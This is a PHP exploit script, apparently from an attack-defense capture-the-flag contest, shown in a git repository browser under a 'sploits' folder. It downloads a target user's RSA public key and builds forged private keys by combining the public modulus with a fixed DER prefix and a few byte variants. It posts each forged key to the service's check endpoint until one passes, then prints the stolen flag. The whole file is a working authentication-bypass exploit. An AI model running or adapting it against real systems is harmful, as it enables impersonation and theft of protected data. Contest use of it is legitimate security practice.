git » repo » main » tree

[main] / sploits / keys / hack.php

#!/usr/bin/env php
<?php

$PORT = 3000;
$CURL_OPTS = [
    CURLOPT_RETURNTRANSFER => TRUE,
    CURLOPT_TIMEOUT => 5,
    CURLOPT_FAILONERROR => TRUE,
];
$PRIVATE_PREFIX_HEX = "308204be020100300d06092a864886f70d0101010500048204a8308204a402010002820101";

function url_prefix($host) {
    global $PORT;

    if (getenv('CHECKER_DIRECT_CONNECT') == '1') {
        return "http://$host:$PORT";
    }
    return "https://$host";
}

function get_public_key($url_prefix, $login) {
    global $CURL_OPTS;

    $url = "$url_prefix/key.php?login=$login";
    $ch = curl_init($url);
    curl_setopt_array($ch, $CURL_OPTS);

    $result = curl_exec($ch);
    $err = curl_error($ch);
    curl_close($ch);
    if ($err) {
        throw new Exception("Cant get public key for '$login' : '$err' : $result");
    }

    if (!preg_match('/.*(-----BEGIN PUBLIC KEY-----.*-----END PUBLIC KEY-----).*/ms', $result, $matches)) {
        throw new Exception("Cant find public key for '$login' : $result");
    }

    $public_key = $matches[1];
    return $public_key;
}

function generate_fake_private_keys($public_key) {
    global $PRIVATE_PREFIX_HEX;

    $public_key = str_replace('-----BEGIN PUBLIC KEY-----', '', $public_key);
    $public_key = str_replace('-----END PUBLIC KEY-----', '', $public_key);

    $public_key_decoded = base64_decode($public_key);
    $public_key_decoded_unpacked  = unpack('H*', $public_key_decoded)[1];
    $modulus = substr($public_key_decoded_unpacked, 64);

    $private_prefix_hex = $PRIVATE_PREFIX_HEX;
    $fake_private_key = $private_prefix_hex . $modulus;
    foreach(['a', 'b', 'c', 'd', 'e', 'f'] as $a) {
        $fake_private_key[7] = $a;
        $fake_private_key[51] = '4' + ord($a) - ord('a');
        $fake_private_key[52] = '3';
        $fake_private_key[53] = '0';
        $fake_private_key[59] = '0' + ord($a) - ord('a');

        $fake_private_key_pem = "-----BEGIN PRIVATE KEY-----\n" . base64_encode(pack('H*', $fake_private_key));

        yield $fake_private_key_pem;
    }
}

function get_flag($url_prefix, $login, $private_key) {
    global $CURL_OPTS;

    $url = "$url_prefix/check.php";

    $headers = array(
        "Content-Type: application/x-www-form-urlencoded",
    );
    $data = "login=$login&private_key=" . urlencode($private_key);

    $ch = curl_init($url);
    curl_setopt_array($ch, $CURL_OPTS);
    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
    curl_setopt($ch, CURLOPT_POST, TRUE);

    $result = curl_exec($ch);
    $err = curl_error($ch);
    curl_close($ch);

    if ($err) {
        return FALSE;
    }

    if (!preg_match('/.*comment: (\w+)/', $result, $matches)) {
        throw new Exception("Cant find flag in result: '$login' : $result");
    }

    $flag = $matches[1];
    return $flag;
}

function main($argv) {
    $host = $argv[1];
    $flag_id = $argv[2];  # See public_flag_id checksystem API
    $url_prefix = url_prefix($host);

    $public_key_pem = get_public_key($url_prefix, $flag_id);

    $flag_from_service = '';
    foreach (generate_fake_private_keys($public_key_pem) as $fake_private_key_pem) {
        $flag_from_service = get_flag($url_prefix, $flag_id, $fake_private_key_pem);
        if ($flag_from_service) {
            break;
        }
    }

    if (!$flag_from_service) {
        throw new Exception("CANT GET FLAG: login:$flag_id, flag_from_service:$flag_from_service; So sad :(");
    }

    print("$flag_from_service\n");
}

main($argv);